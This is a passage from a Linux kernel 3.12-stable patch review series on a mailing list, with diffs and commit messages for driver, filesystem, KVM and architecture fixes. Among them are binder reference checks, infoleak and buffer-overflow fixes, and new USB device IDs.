@@ -594,7 +594,7 @@ enum {#define AZX_DCAPS_NVIDIA_SNOOP (1 << 11)/* Nvidia snoop enable */ #define AZX_DCAPS_SCH_SNOOP (1 << 12)/* SCH/PCH snoop enable */ #define AZX_DCAPS_RIRB_DELAY (1 << 13)/* Long delay in read loop */ -#define AZX_DCAPS_RIRB_PRE_DELAY (1 << 14)/* Put a delay before read */ +/* 14 unused */ #define AZX_DCAPS_CTX_WORKAROUND (1 << 15)/* X-Fi workaround */ #define AZX_DCAPS_POSFIX_LPIB (1 << 16)/* Use LPIB as default */ #define AZX_DCAPS_POSFIX_VIA (1 << 17)/* Use VIACOMBO as default */
@@ -1540,7 +1540,7 @@ static irqreturn_t azx_interrupt(int irq, void *dev_id) status =azx_readb (chip,RIRBSTS );if (status &RIRB_INT_MASK ) {if (status &RIRB_INT_RESPONSE ) { -if (chip->driver_caps &AZX_DCAPS_RIRB_PRE_DELAY ) +if (chip->driver_caps &AZX_DCAPS_CTX_WORKAROUND )udelay (80 );azx_update_rirb (chip); }
@@ -4288,14 +4288,12 @@ static DEFINE_PCI_DEVICE_TABLE(azx_ids) = { .class = PCI_CLASS_MULTIMEDIA_HD_AUDIO << 8, .class_mask = 0xffffff, .driver_data = AZX_DRIVER_CTX | AZX_DCAPS_CTX_WORKAROUND | - AZX_DCAPS_NO_64BIT | - AZX_DCAPS_RIRB_PRE_DELAY | AZX_DCAPS_POSFIX_LPIB }, + AZX_DCAPS_NO_64BIT | AZX_DCAPS_POSFIX_LPIB }, #else /* this entry seems still valid -- i.e. without emu20kx chip */ { PCI_DEVICE(0x1102, 0x0009), .driver_data = AZX_DRIVER_CTX | AZX_DCAPS_CTX_WORKAROUND | - AZX_DCAPS_NO_64BIT | - AZX_DCAPS_RIRB_PRE_DELAY | AZX_DCAPS_POSFIX_LPIB }, + AZX_DCAPS_NO_64BIT | AZX_DCAPS_POSFIX_LPIB }, #endif /* Vortex86MX */ { PCI_DEVICE(0x17f3, 0x3010), .driver_data = AZX_DRIVER_GENERIC },
Signature · 1 line
2.10.2
PATCH 14/127 ANDROID: binder: Add strong ref checks
In reply to Jiri SlabyFrom: Arve Hjønnevåg <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 0a3ffab93fe52530602fe47cd74802cffdb19c05 upstream.
Prevent using a binder_ref with only weak references where a strong reference is required.
--- drivers/staging/android/binder.c | 30 +++++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-)
drivers/staging/android/binder.c +21 -9
@@ -994,7 +994,7 @@ static int binder_dec_node(struct binder_node *node, int strong, int internal)static struct binder_ref *binder_get_ref (struct binder_proc *proc, -uint32_t desc) +u32 desc,bool need_strong_ref) {struct rb_node *n = proc->refs_by_desc.rb_node;struct binder_ref *ref;
@@ -1002,12 +1002,16 @@ static struct binder_ref *binder_get_ref(struct binder_proc *proc,while (n) { ref = rb_entry(n, struct binder_ref, rb_node_desc); -if (desc < ref->desc) +if (desc < ref->desc) { n = n->rb_left; -else if (desc > ref->desc) + }else if (desc > ref->desc) { n = n->rb_right; -else + }else if (need_strong_ref && !ref->strong) { +binder_user_error ("tried to use weak ref as strong ref\n" ); +return NULL ; + }else {return ref; + } }return NULL ; }
@@ -1270,7 +1274,10 @@ static void binder_transaction_buffer_release(struct binder_proc *proc, }break ;case BINDER_TYPE_HANDLE :case BINDER_TYPE_WEAK_HANDLE : { -struct binder_ref *ref =binder_get_ref (proc, fp->handle); +struct binder_ref *ref; + + ref =binder_get_ref (proc, fp->handle, + fp->type ==BINDER_TYPE_HANDLE );if (ref ==NULL ) {pr_err ("transaction release %d bad handle %d\n" , debug_id, fp->handle);
@@ -1362,7 +1369,7 @@ static void binder_transaction(struct binder_proc *proc, }else {if (tr->target.handle) {struct binder_ref *ref; - ref =binder_get_ref (proc, tr->target.handle); + ref =binder_get_ref (proc, tr->target.handle, true);if (ref ==NULL ) {binder_user_error ("%d:%d got transaction to invalid handle\n" , proc->pid, thread->pid);
@@ -1546,7 +1553,10 @@ static void binder_transaction(struct binder_proc *proc, }break ;case BINDER_TYPE_HANDLE :case BINDER_TYPE_WEAK_HANDLE : { -struct binder_ref *ref =binder_get_ref (proc, fp->handle); +struct binder_ref *ref; + + ref =binder_get_ref (proc, fp->handle, + fp->type ==BINDER_TYPE_HANDLE );if (ref ==NULL ) { binder_user_error("%d:%d got transaction with invalid handle, %d\n", proc->pid,
@@ -1739,7 +1749,9 @@ int binder_thread_write(struct binder_proc *proc, struct binder_thread *thread, ref->desc); } }else - ref =binder_get_ref (proc, target); + ref =binder_get_ref (proc, target, + cmd ==BC_ACQUIRE || + cmd ==BC_RELEASE );if (ref ==NULL ) {binder_user_error ("%d:%d refcount change on invalid ref %d\n" , proc->pid, thread->pid, target);
@@ -1934,7 +1946,7 @@ int binder_thread_write(struct binder_proc *proc, struct binder_thread *thread,if (get_user (cookie, (void __user *__user *)ptr))return -EFAULT ; ptr +=sizeof (void *); - ref =binder_get_ref (proc, target); + ref =binder_get_ref (proc, target, false);if (ref ==NULL ) { binder_user_error("%d:%d %s invalid ref %d\n", proc->pid, thread->pid,
Signature · 1 line
2.10.2
PATCH 15/127 ANDROID: binder: Clear binder and cookie when setting handle in flat binder struct
In reply to Jiri SlabyFrom: Arve Hjønnevåg <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 4afb604e2d14d429ac9e1fd84b952602853b2df5 upstream.
Prevents leaking pointers between processes
--- drivers/staging/android/binder.c | 5 +++++ 1 file changed, 5 insertions(+)
drivers/staging/android/binder.c +5 -0
@@ -1541,7 +1541,9 @@ static void binder_transaction(struct binder_proc *proc, fp->type =BINDER_TYPE_HANDLE ; else fp->type = BINDER_TYPE_WEAK_HANDLE; + fp->binder =NULL ; fp->handle = ref->desc; + fp->cookie =NULL ;binder_inc_ref (ref, fp->type ==BINDER_TYPE_HANDLE , &thread->todo);
@@ -1584,7 +1586,9 @@ static void binder_transaction(struct binder_proc *proc, return_error =BR_FAILED_REPLY ; goto err_binder_get_ref_for_node_failed; } + fp->binder =NULL ; fp->handle = new_ref->desc; + fp->cookie =NULL ;binder_inc_ref (new_ref, fp->type ==BINDER_TYPE_HANDLE ,NULL );trace_binder_transaction_ref_to_ref (t, ref, new_ref);
@@ -1631,6 +1635,7 @@ static void binder_transaction(struct binder_proc *proc,binder_debug (BINDER_DEBUG_TRANSACTION ," fd %d -> %d\n" , fp->handle, target_fd);/* TODO: fput? */ + fp->binder =NULL ; fp->handle = target_fd; }break ;
Signature · 1 line
2.10.2
PATCH 16/127 ubifs: Abort readdir upon error
In reply to Jiri SlabyFrom: Richard Weinberger <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit c83ed4c9dbb358b9e7707486e167e940d48bfeed upstream.
If UBIFS is facing an error while walking a directory, it reports this error and ubifs_readdir() returns the error code. But the VFS readdir logic does not make the getdents system call fail in all cases. When the readdir cursor indicates that more entries are present, the system call will just return and the libc wrapper will try again since it also knows that more entries are present.
This causes the libc wrapper to busy loop for ever when a directory is corrupted on UBIFS.
A common approach do deal with corrupted directory entries is skipping them by setting the cursor to the next entry. On UBIFS this approach is not possible since we cannot compute the next directory entry cursor position without reading the current entry. So all we can do is setting the cursor to the "no more entries" position and make getdents exit.
--- fs/ubifs/dir.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-)
fs/ubifs/dir.c +3 -5
@@ -348,7 +348,7 @@ static unsigned int vfs_dent_type(uint8_t type)*/ static int ubifs_readdir (struct file *file,struct dir_context *ctx) { -int err; +int err =0 ;struct qstr nm;union ubifs_key key;struct ubifs_dent_node *dent;
@@ -450,14 +450,12 @@ out:kfree (file->private_data); file->private_data =NULL ; -if (err != -ENOENT ) { +if (err != -ENOENT )ubifs_err ("cannot find next direntry, error %d" , err); -return err; - }/* 2 is a special value indicating that there are no more direntries */ ctx->pos =2 ; -return 0 ; +return err; }/* Free saved readdir() state when the directory is closed */
Signature · 1 line
2.10.2
PATCH 17/127 ubifs: Fix regression in ubifs_readdir()
In reply to Jiri SlabyFrom: Richard Weinberger <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit a00052a296e54205cf238c75bd98d17d5d02a6db upstream.
Commit c83ed4c9dbb35 ("ubifs: Abort readdir upon error") broke overlayfs support because the fix exposed an internal error code to VFS.
--- fs/ubifs/dir.c | 8 ++++++++ 1 file changed, 8 insertions(+)
fs/ubifs/dir.c +8 -0
@@ -452,6 +452,14 @@ out:if (err != -ENOENT )ubifs_err ("cannot find next direntry, error %d" , err); +else +/* +* -ENOENT is a non-fatal error in this context, the TNC uses +* it to indicate that the cursor moved past the current directory +* and readdir() has to stop. +*/ + err =0 ; +/* 2 is a special value indicating that there are no more direntries */ ctx->pos =2 ;
Signature · 1 line
2.10.2
PATCH 18/127 usb: gadget: function: u_ether: don't starve tx request queue
In reply to Jiri SlabyFrom: Felipe Balbi <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 6c83f77278f17a7679001027e9231291c20f0d8a upstream.
If we don't guarantee that we will always get an interrupt at least when we're queueing our very last request, we could fall into situation where we queue every request with 'no_interrupt' set. This will cause the link to get stuck.
The behavior above has been triggered with g_ether and dwc3.
--- drivers/usb/gadget/u_ether.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-)
drivers/usb/gadget/u_ether.c +3 -2
@@ -585,8 +585,9 @@ static netdev_tx_t eth_start_xmit(struct sk_buff *skb,/* throttle high/super speed IRQ rate back slightly */ if (gadget_is_dualspeed (dev->gadget)) - req->no_interrupt = (dev->gadget->speed ==USB_SPEED_HIGH || - dev->gadget->speed ==USB_SPEED_SUPER ) + req->no_interrupt = (((dev->gadget->speed ==USB_SPEED_HIGH || + dev->gadget->speed ==USB_SPEED_SUPER )) && + !list_empty (&dev->tx_reqs)) ? ((atomic_read (&dev->tx_qlen) % dev->qmult) !=0 ) :0 ;
Signature · 1 line
2.10.2
PATCH 19/127 USB: serial: fix potential NULL-dereference at probe
In reply to Jiri SlabyFrom: Johan Hovold <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 126d26f66d9890a69158812a6caa248c05359daa upstream.
Make sure we have at least one port before attempting to register a console.
Currently, at least one driver binds to a "dummy" interface and requests zero ports for it. Should such an interface also lack endpoints, we get a NULL-deref during probe.
--- drivers/usb/serial/usb-serial.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/usb/serial/usb-serial.c +2 -1
@@ -1061,7 +1061,8 @@ static int usb_serial_probe(struct usb_interface *interface, serial->disconnected =0 ; -usb_serial_console_init (serial->port[0 ]->minor); +if (num_ports >0 ) +usb_serial_console_init (serial->port[0 ]->minor); exit:module_put (type->driver.owner);return 0 ;
Signature · 1 line
2.10.2
PATCH 20/127 USB: serial: ftdi_sio: add support for Infineon TriBoard TC2X7
In reply to Jiri SlabyFrom: Stefan Tauner <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ca006f785fbfd7a5c901900bd3fe2b26e946a1ee upstream.
This adds support to ftdi_sio for the Infineon TriBoard TC2X7 engineering board for first-generation Aurix SoCs with Tricore CPUs. Mere addition of the device IDs does the job.
--- drivers/usb/serial/ftdi_sio.c | 3 ++- drivers/usb/serial/ftdi_sio_ids.h | 5 +++-- 2 files changed, 5 insertions(+), 3 deletions(-)
drivers/usb/serial/ftdi_sio.c +2 -1
@@ -1000,7 +1000,8 @@ static struct usb_device_id id_table_combined [] = {/* ekey Devices */ { USB_DEVICE(FTDI_VID, FTDI_EKEY_CONV_USB_PID) },/* Infineon Devices */ - { USB_DEVICE_INTERFACE_NUMBER(INFINEON_VID, INFINEON_TRIBOARD_PID, 1) }, + { USB_DEVICE_INTERFACE_NUMBER(INFINEON_VID, INFINEON_TRIBOARD_TC1798_PID, 1) }, + { USB_DEVICE_INTERFACE_NUMBER(INFINEON_VID, INFINEON_TRIBOARD_TC2X7_PID, 1) },/* GE Healthcare devices */ { USB_DEVICE(GE_HEALTHCARE_VID, GE_HEALTHCARE_NEMO_TRACKER_PID) },/* Active Research (Actisense) devices */
drivers/usb/serial/ftdi_sio_ids.h +3 -2
@@ -626,8 +626,9 @@/* * Infineon Technologies */ -#define INFINEON_VID 0x058b -#define INFINEON_TRIBOARD_PID 0x0028/* DAS JTAG TriBoard TC1798 V1.0 */ +#define INFINEON_VID 0x058b +#define INFINEON_TRIBOARD_TC1798_PID 0x0028/* DAS JTAG TriBoard TC1798 V1.0 */ +#define INFINEON_TRIBOARD_TC2X7_PID 0x0043/* DAS JTAG TriBoard TC2X7 V1.0 */ /* * Acton Research Corp.
Signature · 1 line
2.10.2
PATCH 21/127 Fix potential infoleak in older kernels
In reply to Jiri SlabyFrom: Linus Torvalds <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
Not upstream as it is not needed there.
So a patch something like this might be a safe way to fix the potential infoleak in older kernels.
THIS IS UNTESTED. It's a very obvious patch, though, so if it compiles it probably works. It just initializes the output variable with 0 in the inline asm description, instead of doing it in the exception handler.
It will generate slightly worse code (a few unnecessary ALU operations), but it doesn't have any interactions with the exception handler implementation.
--- arch/x86/include/asm/uaccess.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/x86/include/asm/uaccess.h +1 -1
@@ -384,7 +384,7 @@ do { \ asm volatile("1: mov"itype" %1,%"rtype"0\n" \ "2:\n" \ _ASM_EXTABLE_EX(1b, 2b) \ - : ltype(x) : "m" (__m(addr))) + : ltype(x) : "m" (__m(addr)), "0" (0))#define __put_user_nocheck (x, ptr, size) \ ({ \
Signature · 1 line
2.10.2
PATCH 22/127 vt: clear selection before resizing
In reply to Jiri SlabyFrom: Scot Doyle <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 009e39ae44f4191188aeb6dfbf661b771dbbe515 upstream.
When resizing a vt its selection may exceed the new size, resulting in an invalid memory access [1]. Clear the selection before resizing.
[1] http://lkml.kernel.org/r/CACT4Y+acDTwy4umEvf5ROBGiRJNrxHN4Cn5szCXE5Jw-d1B=Xw@mail.gmail.com
--- drivers/tty/vt/vt.c | 3 +++ 1 file changed, 3 insertions(+)
drivers/tty/vt/vt.c +3 -0
@@ -867,6 +867,9 @@ static int vc_do_resize(struct tty_struct *tty, struct vc_data *vc,if (!newscreen)return -ENOMEM ; +if (vc == sel_cons) +clear_selection (); + old_rows = vc->vc_rows; old_row_size = vc->vc_size_row;
Signature · 1 line
2.10.2
PATCH 23/127 hv: do not lose pending heartbeat vmbus packets
In reply to Jiri SlabyFrom: Long Li <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 407a3aee6ee2d2cb46d9ba3fc380bc29f35d020c upstream.
The host keeps sending heartbeat packets independent of the
guest responding to them. Even though we respond to the heartbeat messages at interrupt level, we can have situations where there maybe multiple heartbeat messages pending that have not been responded to. For instance this occurs when the VM is paused and the host continues to send the heartbeat messages. Address this issue by draining and responding to all
the heartbeat messages that maybe pending.
--- drivers/hv/hv_util.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-)
drivers/hv/hv_util.c +7 -3
@@ -276,10 +276,14 @@ static void heartbeat_onchannelcallback(void *context)u8 *hbeat_txf_buf = util_heartbeat.recv_buffer;struct icmsg_negotiate *negop =NULL ; -vmbus_recvpacket (channel, hbeat_txf_buf, -PAGE_SIZE , &recvlen, &requestid); +while (1 ) { + +vmbus_recvpacket (channel, hbeat_txf_buf, +PAGE_SIZE , &recvlen, &requestid); + +if (!recvlen) +break ; -if (recvlen >0 ) { icmsghdrp = (struct icmsg_hdr *)&hbeat_txf_buf[sizeof (struct vmbuspipe_hdr )];
Signature · 1 line
2.10.2
PATCH 24/127 xhci: add restart quirk for Intel Wildcatpoint PCH
In reply to Jiri SlabyFrom: Mathias Nyman <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 4c39135aa412d2f1381e43802523da110ca7855c upstream.
xHC in Wildcatpoint-LP PCH is similar to LynxPoint-LP and need the same quirks to prevent machines from spurious restart while shutting them down.
--- drivers/usb/host/xhci-pci.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/usb/host/xhci-pci.c +3 -1
@@ -37,6 +37,7 @@#define PCI_DEVICE_ID_INTEL_LYNXPOINT_XHCI 0x8c31#define PCI_DEVICE_ID_INTEL_LYNXPOINT_LP_XHCI 0x9c31 +#define PCI_DEVICE_ID_INTEL_WILDCATPOINT_LP_XHCI 0x9cb1#define PCI_DEVICE_ID_INTEL_CHERRYVIEW_XHCI 0x22b5#define PCI_DEVICE_ID_INTEL_SUNRISEPOINT_H_XHCI 0xa12f#define PCI_DEVICE_ID_INTEL_SUNRISEPOINT_LP_XHCI 0x9d2f
@@ -129,7 +130,8 @@ static void xhci_pci_quirks(struct device *dev, struct xhci_hcd *xhci) xhci->quirks |=XHCI_SPURIOUS_REBOOT ; }if (pdev->vendor ==PCI_VENDOR_ID_INTEL && - pdev->device ==PCI_DEVICE_ID_INTEL_LYNXPOINT_LP_XHCI ) { + (pdev->device ==PCI_DEVICE_ID_INTEL_LYNXPOINT_LP_XHCI || + pdev->device ==PCI_DEVICE_ID_INTEL_WILDCATPOINT_LP_XHCI )) { xhci->quirks |=XHCI_SPURIOUS_REBOOT ; xhci->quirks |=XHCI_SPURIOUS_WAKEUP ; }
Signature · 1 line
2.10.2
PATCH 25/127 tty: limit terminal size to 4M chars
In reply to Jiri SlabyFrom: Dmitry Vyukov <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 32b2921e6a7461fe63b71217067a6cf4bddb132f upstream.
Size of kmalloc() in vc_do_resize() is controlled by user. Too large kmalloc() size triggers WARNING message on console. Put a reasonable upper bound on terminal size to prevent WARNINGs.
--- drivers/tty/vt/vt.c | 2 ++ 1 file changed, 2 insertions(+)
drivers/tty/vt/vt.c +2 -0
@@ -863,6 +863,8 @@ static int vc_do_resize(struct tty_struct *tty, struct vc_data *vc,if (new_cols == vc->vc_cols && new_rows == vc->vc_rows)return 0 ; +if (new_screen_size > (4 <<20 )) +return -EINVAL ; newscreen =kmalloc (new_screen_size,GFP_USER );if (!newscreen)return -ENOMEM ;
Signature · 1 line
2.10.2
PATCH 26/127 USB: serial: cp210x: fix tiocmget error handling
In reply to Jiri SlabyFrom: Johan Hovold <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit de24e0a108bc48062e1c7acaa97014bce32a919f upstream.
The current tiocmget implementation would fail to report errors up the stack and instead leaked a few bits from the stack as a mask of modem-status flags.
--- drivers/usb/serial/cp210x.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/usb/serial/cp210x.c +3 -1
@@ -919,7 +919,9 @@ static int cp210x_tiocmget(struct tty_struct *tty)unsigned int control;int result; -cp210x_get_config (port,CP210X_GET_MDMSTS , &control,1 ); + result =cp210x_get_config (port,CP210X_GET_MDMSTS , &control,1 ); +if (result) +return result; result = ((control &CONTROL_DTR ) ?TIOCM_DTR :0 ) |((control &CONTROL_RTS ) ?TIOCM_RTS :0 )
Signature · 1 line
2.10.2
PATCH 27/127 KVM: x86: fix wbinvd_dirty_mask use-after-free
In reply to Jiri SlabyFrom: Ido Yariv <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit bd768e146624cbec7122ed15dead8daa137d909d upstream.
vcpu->arch.wbinvd_dirty_mask may still be used after freeing it, corrupting memory. For example, the following call trace may set a bit in an already freed cpu mask:
kvm_arch_vcpu_load
vcpu_load
vmx_free_vcpu_nested
vmx_free_vcpu
kvm_arch_vcpu_free
Fix this by deferring freeing of wbinvd_dirty_mask.
--- arch/x86/kvm/x86.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
arch/x86/kvm/x86.c +3 -1
@@ -6662,11 +6662,13 @@ void kvm_put_guest_fpu(struct kvm_vcpu *vcpu)void kvm_arch_vcpu_free (struct kvm_vcpu *vcpu) { +void *wbinvd_dirty_mask = vcpu->arch.wbinvd_dirty_mask; +kvmclock_reset (vcpu); -free_cpumask_var (vcpu->arch.wbinvd_dirty_mask);fx_free (vcpu); kvm_x86_ops->vcpu_free (vcpu); +free_cpumask_var (wbinvd_dirty_mask); } struct kvm_vcpu *kvm_arch_vcpu_create(struct kvm *kvm,
Signature · 1 line
2.10.2
PATCH 28/127 KVM: MIPS: Make ERET handle ERL before EXL
In reply to Jiri SlabyFrom: James Hogan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ede5f3e7b54a4347be4d8525269eae50902bd7cd upstream.
The ERET instruction to return from exception is used for returning from exception level (Status.EXL) and error level (Status.ERL). If both bits are set however we should be returning from ERL first, as ERL can interrupt EXL, for example when an NMI is taken. KVM however checks EXL first.
Fix the order of the checks to match the pseudocode in the instruction set manual.
--- arch/mips/kvm/kvm_mips_emul.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
arch/mips/kvm/kvm_mips_emul.c +4 -4
@@ -254,15 +254,15 @@ enum emulation_result kvm_mips_emul_eret(struct kvm_vcpu *vcpu)struct mips_coproc *cop0 = vcpu->arch.cop0;enum emulation_result er =EMULATE_DONE ; -if (kvm_read_c0_guest_status (cop0) &ST0_EXL ) { +if (kvm_read_c0_guest_status (cop0) &ST0_ERL ) { +kvm_clear_c0_guest_status (cop0,ST0_ERL ); + vcpu->arch.pc =kvm_read_c0_guest_errorepc (cop0); + }else if (kvm_read_c0_guest_status (cop0) &ST0_EXL ) {kvm_debug ("[%#lx] ERET to %#lx\n" , vcpu->arch.pc,kvm_read_c0_guest_epc (cop0));kvm_clear_c0_guest_status (cop0,ST0_EXL ); vcpu->arch.pc =kvm_read_c0_guest_epc (cop0); - }else if (kvm_read_c0_guest_status (cop0) &ST0_ERL ) { -kvm_clear_c0_guest_status (cop0,ST0_ERL ); - vcpu->arch.pc =kvm_read_c0_guest_errorepc (cop0); }else {printk ("[%#lx] ERET when MIPS_SR_EXL|MIPS_SR_ERL == 0\n" , vcpu->arch.pc);
Signature · 1 line
2.10.2
PATCH 29/127 parisc: Ensure consistent state when switching to kernel stack at syscall entry
In reply to Jiri SlabyFrom: John David Anglin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 6ed518328d0189e0fdf1bb7c73290d546143ea66 upstream.
We have one critical section in the syscall entry path in which we switch from the userspace stack to kernel stack. In the event of an external interrupt, the interrupt code distinguishes between those two states by analyzing the value of sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that the value of sr7 is in sync with the currently enabled stack.
This patch now disables interrupts while executing the critical section. This prevents the interrupt handler to possibly see an inconsistent state which in the worst case can lead to crashes.
Interestingly, in the syscall exit path interrupts were already disabled in the critical section which switches back to the userspace stack.
--- arch/parisc/kernel/syscall.S | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-)
arch/parisc/kernel/syscall.S +9 -2
@@ -106,8 +106,6 @@ linux_gateway_entry: mtsp %r0,%sr4 /* get kernel space into sr4 */ mtsp %r0,%sr5 /* get kernel space into sr5 */ mtsp %r0,%sr6 /* get kernel space into sr6 */ - mfsp %sr7,%r1 /* save user sr7 */ - mtsp %r1,%sr3 /* and store it in sr3 */ #ifdef CONFIG_64BIT /* for now we can *always* set the W bit on entry to the syscall
@@ -133,6 +131,14 @@ linux_gateway_entry: depdi 0, 31, 32, %r21 1: #endif + + /* We use a rsm/ssm pair to prevent sr3 from being clobbered + * by external interrupts. + */ + mfsp %sr7,%r1 /* save user sr7 */ + rsm PSW_SM_I, %r0 /* disable interrupts */ + mtsp %r1,%sr3 /* and store it in sr3 */ + mfctl %cr30,%r1 xor %r1,%r30,%r30 /* ye olde xor trick */ xor %r1,%r30,%r1
@@ -147,6 +153,7 @@ linux_gateway_entry: */ mtsp %r0,%sr7 /* get kernel space into sr7 */ + ssm PSW_SM_I, %r0 /* enable interrupts */ STREGM %r1,FRAME_SIZE(%r30) /* save r1 (usp) here for now */ mfctl %cr30,%r1 /* get task ptr in %r1 */ LDREG TI_TASK(%r1),%r1
Signature · 1 line
2.10.2
PATCH 30/127 virtio: console: Unlock vqs while freeing buffers
In reply to Jiri SlabyFrom: Matt Redfearn <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 34563769e438d2881f62cf4d9badc4e589ac0ec0 upstream.
Commit c6017e793b93 ("virtio: console: add locks around buffer removal in port unplug path") added locking around the freeing of buffers in the vq. However, when free_buf() is called with can_sleep = true and rproc is enabled, it calls dma_free_coherent() directly, requiring interrupts to be enabled. Currently a WARNING is triggered due to the spin locking around free_buf, with a call stack like this:
WARNING: CPU: 3 PID: 121 at ./include/linux/dma-mapping.h:433 free_buf+0x1a8/0x288 Call Trace: [<8040c538>] show_stack+0x74/0xc0 [<80757240>] dump_stack+0xd0/0x110 [<80430d98>] __warn+0xfc/0x130 [<80430ee0>] warn_slowpath_null+0x2c/0x3c [<807e7c6c>] free_buf+0x1a8/0x288 [<807ea590>] remove_port_data+0x50/0xac [<807ea6a0>] unplug_port+0xb4/0x1bc [<807ea858>] virtcons_remove+0xb0/0xfc [<807b6734>] virtio_dev_remove+0x58/0xc0 [<807f918c>] __device_release_driver+0xac/0x134 [<807f924c>] device_release_driver+0x38/0x50 [<807f7edc>] bus_remove_device+0xfc/0x130 [<807f4b74>] device_del+0x17c/0x21c [<807f4c38>] device_unregister+0x24/0x38 [<807b6b50>] unregister_virtio_device+0x28/0x44
Fix this by restructuring the loops to allow the locks to only be taken where it is necessary to protect the vqs, and release it while the buffer is being freed.
--- drivers/char/virtio_console.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-)
drivers/char/virtio_console.c +16 -6
@@ -1533,19 +1533,29 @@ static void remove_port_data(struct port *port)spin_lock_irq (&port->inbuf_lock);/* Remove unused data this port might have received. */ discard_port_data (port); +spin_unlock_irq (&port->inbuf_lock);/* Remove buffers we queued up for the Host to send us data in. */ -while ((buf =virtqueue_detach_unused_buf (port->in_vq))) -free_buf (buf, true); -spin_unlock_irq (&port->inbuf_lock); +do { +spin_lock_irq (&port->inbuf_lock); + buf =virtqueue_detach_unused_buf (port->in_vq); +spin_unlock_irq (&port->inbuf_lock); +if (buf) +free_buf (buf, true); + }while (buf);spin_lock_irq (&port->outvq_lock);reclaim_consumed_buffers (port); +spin_unlock_irq (&port->outvq_lock);/* Free pending buffers from the out-queue. */ -while ((buf =virtqueue_detach_unused_buf (port->out_vq))) -free_buf (buf, true); -spin_unlock_irq (&port->outvq_lock); +do { +spin_lock_irq (&port->outvq_lock); + buf =virtqueue_detach_unused_buf (port->out_vq); +spin_unlock_irq (&port->outvq_lock); +if (buf) +free_buf (buf, true); + }while (buf); }/*
Signature · 1 line
2.10.2
PATCH 31/127 Input: i8042 - add XMG C504 to keyboard reset table
In reply to Jiri SlabyFrom: Patrick Scheuring <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit da25311c7ca8b0254a686fc0d597075b9aa3b683 upstream.
The Schenker XMG C504 is a rebranded Gigabyte P35 v2 laptop. Therefore it also needs a keyboard reset to detect the Elantech touchpad. Otherwise the touchpad appears to be dead.
With this patch the touchpad is detected:
$ dmesg | grep -E "(i8042|Elantech|elantech)"
[ 2.675399] i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f13:PS2M] at 0x60,0x64 irq 1,12 [ 2.680372] i8042: Attempting to reset device connected to KBD port [ 2.789037] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 2.791586] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 2.813840] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input4 [ 3.811431] psmouse serio1: elantech: assuming hardware version 4 (with firmware version 0x361f0e) [ 3.825424] psmouse serio1: elantech: Synaptics capabilities query result 0x00, 0x15, 0x0f. [ 3.839424] psmouse serio1: elantech: Elan sample query result 03, 58, 74 [ 3.911349] input: ETPS/2 Elantech Touchpad as /devices/platform/i8042/serio1/input/input6
--- drivers/input/serio/i8042-x86ia64io.h | 7 +++++++ 1 file changed, 7 insertions(+)
drivers/input/serio/i8042-x86ia64io.h +7 -0
@@ -776,6 +776,13 @@ static const struct dmi_system_id __initconst i8042_dmi_kbdreset_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "P34"), }, }, + { + /* Schenker XMG C504 - Elantech touchpad */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "XMG"), + DMI_MATCH(DMI_PRODUCT_NAME, "C504"), + }, + }, { } };
Signature · 1 line
2.10.2
PATCH 32/127 firewire: net: guard against rx buffer overflows
In reply to Jiri SlabyFrom: Stefan Richter <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 667121ace9dbafb368618dbabcf07901c962ddac upstream.
The IP-over-1394 driver firewire-net lacked input validation when handling incoming fragmented datagrams. A maliciously formed fragment with a respectively large datagram_offset would cause a memcpy past the datagram buffer.
So, drop any packets carrying a fragment with offset + length larger than datagram_size.
In addition, ensure that
- GASP header, unfragmented encapsulation header, or fragment encapsulation header actually exists before we access it,
- the encapsulated datagram or fragment is of nonzero size.
--- drivers/firewire/net.c | 51 ++++++++++++++++++++++++++++++++++---------------- 1 file changed, 35 insertions(+), 16 deletions(-)
drivers/firewire/net.c +35 -16
@@ -591,6 +591,9 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len,int retval;u16 ether_type; +if (len <=RFC2374_UNFRAG_HDR_SIZE ) +return 0 ; + hdr.w0 =be32_to_cpu (buf[0 ]); lf =fwnet_get_hdr_lf (&hdr);if (lf ==RFC2374_HDR_UNFRAG ) {
